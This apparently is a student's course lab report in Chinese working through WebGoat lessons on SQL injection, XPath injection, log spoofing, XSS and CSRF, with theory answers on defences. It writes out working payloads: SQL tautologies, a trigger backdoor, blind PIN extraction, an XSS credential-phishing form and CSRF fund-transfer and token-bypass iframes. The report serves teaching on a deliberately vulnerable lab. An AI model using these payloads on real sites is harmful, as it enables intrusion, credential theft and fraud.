20154312 曾林 EXP9 Web安全基础

目录

-0.webgoat Could not find source file

-1.基础问题回答
-2.环境配置
-3.Injection Flaws
----3.1.Numeric SQL Injection
----3.2.Log Spoofing
----3.3.XPATH Injection
----3.4.String SQL Injection
----3.5.LAB: SQL Injection
----3.6.Database Backdoors
----3.7.Blind Numeric SQL Injection
----3.8.Blind String SQL Injection
-4.Cross-Site Scripting (XSS)
----4.1.Phishing with XSS
----4.2.Stored XSS Attacks
----4.3.Reflected XSS Attacks
-5.CSRF
----5.1.Cross Site Request Forgery(CSRF)
----5.2.CSRF Prompt By-Pass
----5.3.CSRF Token By-Pass
-6.实验总结与体会

webgoat Could not find source file

  • 推测问题出在JDK版本上

  • 先确认Kali的JDK版本

  • "9.0.4"这个版本对于WebGoat7.1来说过高了,我们只要把JDK换成1.8就i行了

  • 参照教程按步骤一步一步来即可

基础问题回答

(1)SQL注入攻击原理,如何防御

  • 原理:所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
  • 防御:
    • 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
    • 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
    • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
    • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
    • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
    • sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

(2)XSS攻击的原理,如何防御

  • 原理:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
  • 防御:
    • 基于特征的防御:统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击
    • 基于代码修改的防御:和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免:
      • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
      • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
      • 确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。

(3)CSRF攻击原理,如何防御

  • 原理:CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
  • 防御:
    • 对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
    • “双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。

环境配置

  • 将webgoat的java包下载好之后,使用命令

    java -jar webgoat-server-8.0.0.M14.jar运行WebGoat

  • 使用浏览器打开http://localhost:8080/WebGoat,进入WebGoat

Injection Flaws

Numeric SQL Injection

  • F12打开浏览器调试模式,通过修改该,Columbia对应值,使得最后传回去的SQL语句变为
SELECT * FROM weather_data WHERE station = 101 OR 1=1
  • 1=1恒成立,即可看到所有城市天气

Log Spoofing

  • 日志伪造,,在Username输入
zh%0d%0aLogin Succeeded for username: admin
  • %0d和%0a为换行符,这样就就伪造了内容为Login Succeeded for username: admin的日志

XPATH Injection

  • 直接构造永真式
20154312' or 1=1 or 'a'='a

String SQL Injection

  • 构造一个永真式注入
zenglin' or '1'='1
  • SQL语句变为
SELECT * FROM user_data WHERE last_name = 'zenglin' OR '1'='1'

LAB: SQL Injection

Stage1:String SQL Injection

  • 这一题就一点小问题,输入框限制了MaxLength,把MaxLength改为一个合适大小之后,修改password=' or'1'='1,done

Stage3:Numeric SQL Injection

  • 和Stage1一样,构造永真式登陆账户,登陆之后修改employee_id参数修改为101 or 1=1 order by salary desc

Database Backdoors

  • 思路就是利用SQL语句注入一个后门,具体操作就是用;将原本填入文本框的语句变为两条SQL语句,实现注入后门的目的

  • 先在User ID输入框输入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.这样就实现了传入SQL语句 CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.实现的功能就是创建新用户时,会自动将email选项填充为我指定的邮箱

Blind Numeric SQL Injection

  • 盲注,顾名思义就是啥都不知道瞎注,主要是看反馈信息来调整我们的输入来实现SQL注入的效果

  • 数字盲注,在Enter your Account Number输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

  • 根据返回的提示来判断“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"通过二分法缩小范围,最后用2364提交成功

Blind String SQL Injection

  • 相同思路,只不过这个是字符串盲注,在Enter your Account Number输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4312431243124312'), 1, 1) = 'h' );根据返回提示判断name,最后输入JiLL,爆破成功

Cross-Site Scripting (XSS)

Phishing with XSS

  • XSS+HTML写一个简单的带表单网站,直接将下面的代码放入输入框,Enter,出现一个登陆框,输入UsernamePassword之后会弹窗相关信息
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

LAB:Cross Site Scripting

Stage1:

  • 登陆后,点击View profile后,在Street字段输入以下代码:<script>alert("20154327");</script>

Stage3:

  • 使用“David”登录,然后查看“Bruce”的信息,即可执行之前存储好的跨站攻击脚本

Stage5:执行一个反射XSS攻击

  • 登陆后在Search Staff中输入“”

Stored XSS Attacks

  • 存储式XSS攻击,也是最经典的,用过将脚本语句放入留言框存储起来,进行攻击

  • 本题直接在Title里输入任意信息,在 Message里输<script>alert("20154327yangzhenghui!");</script>

  • 再点击留言板内容

Reflected XSS Attacks

  • 反射XSS攻击中,利用脚本制造一个URL提交到另外一个网站,实现攻击,直接在Enter ur three digit access code中输入脚本,实现攻击

CSRF

Cross Site Request Forgery(CSRF)

  • 这是一个发送邮件的页面,我们只需要在Title输入任意信息,在Message输入:<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />点击SubmitMessage List就会出现一条提交的记录

CSRF Prompt By-Pass

  • 一样的思路,Title输入任意信息 ,Message输入:
<iframe
    src="attack?Screen=280&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>

CSRF Token By-Pass

  • 还是相同的思路,Title输入任意信息,在Message输入代码,submit
<script>
    var tokensuffix;
     
    function readFrame1()
    {
        var frameDoc = document.getElementById("frame1").contentDocument;
        var form = frameDoc.getElementsByTagName("form")[0];
        tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
     
        loadFrame2();
    }
     
    function loadFrame2()
    {
        var testFrame = document.getElementById("frame2");
        testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
    }
</script>
 
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
 
<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

实验总结与体会

这是最后一次实验了,实验会结束,但是我大概是看不到互联网上的网络攻防结束的那一天,很感谢老师,让我有机会享受一门很纯粹的技术课程。谢谢!

原文地址:https://www.cnblogs.com/zl20154312/p/9108658.html